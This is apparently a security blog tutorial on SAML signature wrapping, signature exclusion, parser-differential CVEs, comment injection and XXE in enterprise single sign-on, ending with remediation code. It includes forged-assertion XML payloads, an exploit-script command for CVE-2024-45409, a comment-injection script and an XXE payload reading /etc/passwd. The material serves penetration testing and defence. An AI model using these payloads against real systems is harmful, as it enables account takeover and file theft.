SAML Signature Wrapping Attacks: How XSW Still Breaks Enterprise SSO

SAML Signature Wrapping Attacks: How XSW Still Breaks Enterprise SSO

Here's something that'll mess with your head a little. When you log into Okta, Azure AD, Salesforce, or literally any enterprise app with SSO, there's a moment where a chunk of XML gets passed from the identity provider back to the application, and that application has to decide whether to trust it.

That decision is more fragile than anyone would like to admit.

In December 2025, PortSwigger published "The Fragile Lock," introducing novel classes of Signature Wrapping attacks capable of completely bypassing authentication in widely used SAML libraries. Okta's response to the coordinated disclosure was essentially that fixing it was the service providers' problem, not theirs. That's not comforting when Okta powers SSO for hundreds of thousands of organizations.

SAML has been "broken" in one way or another since 2012. The attacks keep coming because the root cause has never actually been fixed, and understanding why is what makes this such a productive area for pentesting and bug bounties.

What SAML is actually doing

When you click "Sign in with Google" on an enterprise app, the following happens:

The user never directly talks to the backend application, everything goes through two middlemen. The SP sends the user to the IdP to authenticate, the IdP confirms their identity, and then hands the user a signed XML document to carry back. That document is the SAMLResponse. The user's browser just acts as a courier, it doesn't read the package, it just delivers it.

Think of it like a sealed letter of recommendation. The university (IdP) writes it, signs it, hands it to you, and you walk it over to the employer (SP). The employer trusts the letter because they trust the university's signature. They don't call the university to verify; they just check the signature and act on whatever's inside.

The obvious question is: what if you tamper with the letter before handing it over?

Step 5 is where your attack surface lives. The IdP hands the user a SAMLResponse , a blob of XML containing signed assertions about who they are, their roles, email, and session validity. The user's browser POSTs this to the SP's Assertion Consumer Service (ACS) endpoint. The SP then does two things: validates the signature, then reads the assertion data. These two operations are often handled by different parsers. That gap is everything.

XML Signature Wrapping: the attack that keeps on giving

The XML Digital Signature spec (XML-DSig) lets you sign specific elements within a document by reference, you sign a specific element identified by its ID attribute, not the entire document. This is flexible and useful... and catastrophically abusable.

In a typical XSW attack, an attacker intercepts a legitimate SAML Response signed by a trusted IdP and injects a new malicious Assertion containing arbitrary user information into the same document. When the SP processes the response, the signature verification module correctly validates the legitimate portion, while the SAML processing logic mistakenly consumes the attacker's injected assertion.

The reason it works: the SP's signature verifier and its business logic often use different code paths, sometimes different XML parsers entirely, to find the assertion they care about.

Here is a clean SAML Response before any tampering:

<samlp:Response ID="_response123">
  <saml:Assertion ID="_assertion456">
    <saml:Subject>
      <saml:NameID>attacker@evil.com</saml:NameID>
    </saml:Subject>
    <ds:Signature>
      <ds:SignedInfo>
        <ds:Reference URI="#_assertion456"/>  <!-- signs _assertion456 -->
      </ds:SignedInfo>
    </ds:Signature>
  </saml:Assertion>
</samlp:Response>

The signature covers _assertion456. Now here is XSW4 , the attacker injects a fake assertion and makes the signed one a child of it:

<samlp:Response ID="_response123">

  <!-- FAKE ASSERTION,  not signed, but processed first by some parsers -->
  <saml:Assertion ID="_evil999">
    <saml:Subject>
      <saml:NameID>admin@company.com</saml:NameID>  <!-- attacker becomes admin -->
    </saml:Subject>

    <!-- Original signed assertion now nested inside the fake one -->
    <saml:Assertion ID="_assertion456">
      <saml:Subject>
        <saml:NameID>attacker@evil.com</saml:NameID>
      </saml:Subject>
      <ds:Signature>
        <ds:Reference URI="#_assertion456"/>  <!-- signature still valid -->
      </ds:Signature>
    </saml:Assertion>

  </saml:Assertion>
</samlp:Response>

The signature validator finds _assertion456 and confirms it's valid, the signature hasn't been touched. But the application's XML parser, doing top-down tree traversal, finds _evil999 first and treats that as the active assertion. This attack exploits the common, incorrect but not unreasonable assumption that a well-formed SAML response will only ever have a single assertion.

There are eight standard XSW variants (XSW1 through XSW8), differing in where the fake assertion is injected and how the original signed content is relocated. All exploit the same core principle: the verifier and the parser disagree about which element is authoritative.

Signature Exclusion: a simpler but equally effective bypass

XSW manipulates structure. Signature Exclusion is blunter: simply remove the <ds:Signature> element entirely, then modify whatever attributes you want.

This works when a service provider checks "is a signature present?" as a boolean condition, rather than "does the signature cryptographically cover the assertion I'm about to use?" Some implementations accept unsigned responses if the IdP's metadata doesn't explicitly mandate signing. Others accept an empty signature block without catching the null reference.

<!-- Original: signed assertion -->
<saml:Assertion ID="_assertion456">
  <saml:Subject>
    <saml:NameID>user@company.com</saml:NameID>
  </saml:Subject>
  <ds:Signature>...</ds:Signature>   <!-- Remove this -->
  <saml:AttributeStatement>
    <saml:Attribute Name="role">
      <saml:AttributeValue>user</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
</saml:Assertion>

<!-- Tampered: unsigned, any values -->
<saml:Assertion ID="_assertion456">
  <saml:Subject>
    <saml:NameID>admin@company.com</saml:NameID>   <!-- changed -->
  </saml:Subject>
  <!-- No signature element at all -->
  <saml:AttributeStatement>
    <saml:Attribute Name="role">
      <saml:AttributeValue>administrator</saml:AttributeValue>   <!-- changed -->
    </saml:Attribute>
  </saml:AttributeStatement>
</saml:Assertion>

If the SP grants access, its signature validation logic is either disabled or checking for presence rather than validity.

Parser differential attacks: the 2024-2026 class

This is the current frontier and where the most interesting bugs are living right now.

Both Ruby (Nokogiri) and PHP expose libxml2 behaviors that can desynchronize signature verification from assertion parsing. When a library uses two different XML parsers for different stages of SAML validation, an attacker can craft input that each parser interprets differently, making the signature verifier see one thing while the business logic sees another.

CVE-2024-45409 (CVSS 10.0 , GitLab, actively exploited):

An attacker with access to any signed SAML document can forge a SAML Response or Assertion by inserting their own DigestValue within the samlp:Extensions element. This alteration tricks the XPath parser, causing it to extract the smuggled DigestValue from the samlp:extensions element rather than the one in the SignedInfo block.

In practice: intercept your own legitimate login, grab the SAMLResponse, run it through Synacktiv's public exploit script:

# CVE-2024-45409 exploit (github.com/synacktiv/CVE-2024-45409)
python3 CVE-2024-45409.py \\
  -r response.url_base64 \\
  -n admin@company.com \\   # target email to impersonate
  -d -e \\
  -o response_patched.url_base64

# Replace SAMLResponse= parameter with the output
# POST to /users/auth/saml/callback → instant admin session

CVE-2025-66568 (Ruby-SAML ≤1.12.4, December 2025):

This exploits a failure in libxml2 during canonicalization. When libxml2's canonicalization is invoked on invalid XML input, it may return an empty string rather than a canonicalized node. Ruby-SAML fails to handle this error state correctly , instead of rejecting the failure, it proceeds to compute the DigestValue over this empty string, treating it as if canonicalization succeeded. The attacker can then replay that "empty string signature" against any assertion they craft.

Both CVEs were patched in ruby-saml 1.18.0. If your target is running anything earlier, it's worth checking.

Comment injection: the XML quirk nobody thinks to test

This one is almost embarrassingly simple. XML comments (<!-- -->) are stripped during XML canonicalization, the process used to normalize XML before signing. This means content inside comments is not covered by the signature. But some parsers handle comments differently than others.

The attack: inject an XML comment into the NameID value that splits what the signature sees from what the application reads.

<!-- Signed assertion,  what the IdP sent -->
<saml:NameID>attacker@evil.com</saml:NameID>

<!-- Modified,  what the attacker submits -->
<saml:NameID>attacker@evil.com<!---->.admin@company.com</saml:NameID>

When the signature validator canonicalizes this, it strips the comment and sees attacker@evil.com.admin@company.com or just attacker@evil.com depending on the implementation. But certain XML parsers return the full text content including the characters after the comment boundary. If the application splits the NameID on @ and takes the domain, or does a prefix match, the injected value gets through as admin@company.com.

This is a well-known variant but it still appears in custom SAML implementations and older versions of standard libraries.

How to test for SAML vulnerabilities

Step 1: Find the ACS endpoint and intercept a SAMLResponse

# The ACS endpoint is usually at:
# /saml/consume, /saml/callback, /auth/saml/callback, /sso/saml

# Intercept in Burp ,  add this filter rule:
# Match condition: Param name = SAMLResponse

# Base64-decode the SAMLResponse parameter:
echo "PHNhbWxwOlJlc3BvbnNl..." | base64 -d | xmllint --format -

Step 2: Install SAML Raider (Burp extension)

Burp → Extensions → BApp Store → SAML Raider → Install

SAML Raider automatically intercepts SAML requests, decodes and presents the XML, and lets you apply all 8 XSW variants with one click. It also handles the re-encoding and re-signing where applicable.

Step 3: Run all XSW variants systematically

# In Burp with SAML Raider:
# 1. Intercept the POST containing SAMLResponse
# 2. SAML Raider tab appears → shows decoded XML
# 3. Click "XSW1" through "XSW8" in sequence
# 4. Forward each modified response and observe:
#    - Did you get a session? → XSW successful
#    - Did you get an error about invalid signature? → mitigated
#    - Did you get a login page again? → assertion rejected

# For manual testing of Signature Exclusion:
# Delete the <ds:Signature> block entirely
# Modify NameID to target user's email
# Re-encode and submit

Step 4: Test comment injection manually

import base64, gzip, urllib.parse

# Load your intercepted SAMLResponse
with open('saml_response.xml', 'r') as f:
    xml = f.read()

# Inject comment into NameID
xml = xml.replace(
    '<saml:NameID>attacker@evil.com</saml:NameID>',
    '<saml:NameID>attacker@evil.com<!---->admin@company.com</saml:NameID>'
)

# Re-encode
encoded = base64.b64encode(xml.encode()).decode()
print(urllib.parse.quote(encoded))
# Submit this as the SAMLResponse parameter

Step 5: Check for missing signature enforcement

# Check IdP metadata for WantAssertionsSigned and WantAuthnRequestsSigned
curl <https://target.com/saml/metadata> | xmllint --format - | grep -i "want\\|signed\\|certificate"

# If WantAssertionsSigned="false" → signature is not required → try exclusion attack
# If no certificate listed → SP might accept any signature

Step 6: Test for classic XXE (XML External Entity)

Because the ACS endpoint is parsing XML, you must test if the underlying XML parser is resolving external entities. Inject a classic XXE payload right after the XML declaration (or at the top of the document) and see if the parser resolves it before or during signature validation.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response ID="_response123">
  >   <saml:NameID>&xxe;</saml:NameID>
</samlp:Response>

Note: If you get a DNS callback or file content in the error/response, you have a critical bug without even needing to bypass the signature.

Remediation

The fix isn't one thing , it's a set of validations that all have to be in place simultaneously.

# What a secure SAML validation flow looks like:

def validate_saml_response(xml_response):
    # 1. Parse once ,  use the SAME parser for both verification and processing
    #    Never use REXML for signature + Nokogiri for assertions (the CVE-2025 pattern)
    doc = parse_xml(xml_response, parser="single_consistent_parser")

    # 2. Verify the signature using an absolute XPath expression
    #    NOT: doc.getElementsByTagName("Signature")[0]  ← first match, any location
    #    YES: doc.find("/samlp:Response/saml:Assertion/ds:Signature")  ← absolute path
    assertion = doc.xpath("/samlp:Response/saml:Assertion")
    signature = doc.xpath("/samlp:Response/saml:Assertion/ds:Signature")

    if not signature:
        raise AuthError("Missing signature ,  unsigned assertion rejected")

    # 3. Verify the Reference URI in SignedInfo matches the Assertion ID
    reference_uri = signature.find(".//ds:Reference").get("URI").lstrip("#")
    if reference_uri != assertion.get("ID"):
        raise AuthError("Signature reference does not match assertion ID")

    # 4. Confirm only ONE assertion exists
    all_assertions = doc.findall(".//saml:Assertion")
    if len(all_assertions) > 1:
        raise AuthError("Multiple assertions ,  XSW attempt detected")

    # 5. Validate issuer, audience, NotBefore/NotOnOrAfter
    validate_conditions(assertion)

    return extract_identity(assertion)

The minimum set of things to verify:

  • Signature is present and covers the assertion being consumed, not just some element
  • Use absolute XPath expressions, never relative
  • Reject any response with more than one Assertion element
  • Use a single XML parser throughout, the dual-parser pattern (REXML + Nokogiri) is the source of the 2024-2025 CVEs
  • Check NotBefore/NotOnOrAfter to prevent replay attacks
  • For SP metadata, set WantAssertionsSigned="true" , make signing mandatory

References

Read more